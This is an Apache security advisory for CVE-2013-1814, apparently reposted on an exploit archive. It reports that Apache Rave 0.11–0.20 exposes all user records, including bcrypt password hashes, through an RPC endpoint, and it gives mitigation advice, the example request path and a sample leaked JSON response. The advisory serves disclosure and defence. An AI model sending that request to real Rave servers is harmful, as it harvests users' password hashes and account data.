Apache Rave 0.11 - 0.20 - User Information Disclosure Vulnerability

CVE-2013-1814: Apache Rave exposes User over API
 
Severity: Important
 
Vendor: The Apache Software Foundation
 
Versions Affected:
Rave 0.11 to 0.20
 
Description:
Rave returns the full user object, including the salted and hashed
password, via the User RPC API.  This endpoint is only available to
authenticated users, but will return all User objects in the database
given the correct query.
 
Mitigation:
All users who rely on Rave's user management capabilities should
upgrade to 0.20.1 or later.
If an upgrade is infeasible, restrict access to the /app/api/user URL
paths via Spring Security configuration or other means.
 
Example:
A request to:
 
/app/api/rpc/users/get?offset=3DOFFSET
 
will return the following:
 
{"error":false,"errorMessage":null,"errorCode":"NO_ERROR","result":{"result=
Set":[{"entityId":1,"username":"canonical","email":"[email protected]",=
"displayName":"Canonical
User","additionalName":"canonical","familyName":"User","givenName":"Canonic=
al","honorificPrefix":null,"honorificSuffix":null,"preferredName":null,"abo=
utMe":null,"status":"Single","addresses":[],"organizations":[],"properties"=
:[{"entityId":1,"type":"thumbnailUrl","value":"http://opensocial2.org:8080/=
collabapp/images/avatars/BillRanney.jpg","qualifier":null,"extendedValue":n=
ull,"primary":null,"id":"1"}],"password":"$2a$10$TkEgze5kLy9nRlfd8PT1zunh6P=
1ND8WPjLojFjAMNgZMu1D9D1n4.","expired":false,"locked":false,"enabled":true,=
"openId":null,"forgotPasswordHash":null,"forgotPasswordTime":null,"defaultP=
ageLayout":{"entityId":4,"code":"columns_3","numberOfRegions":3,"renderSequ=
ence":3,"userSelectable":true},"confirmPassword":null,"defaultPageLayoutCod=
e":null,"authorities":[{"entityId":2,"authority":"ROLE_ADMIN","users":[],"d=
efaultForNewUser":false}],"id":"1","accountNonLocked":true,"credentialsNonE=
xpired":true,"accountNonExpired":true},
........ ],"pageSize":10,"offset":0,"totalResults":14,"numberOfPages":2,"cu=
rrentPage":1}}
 
Credit:
This issue was discovered by Andreas Guth of RWTH Aachen University.
 
References:
http://tomcat.apache.org/security.html

#  0day.today [2018-01-03]  #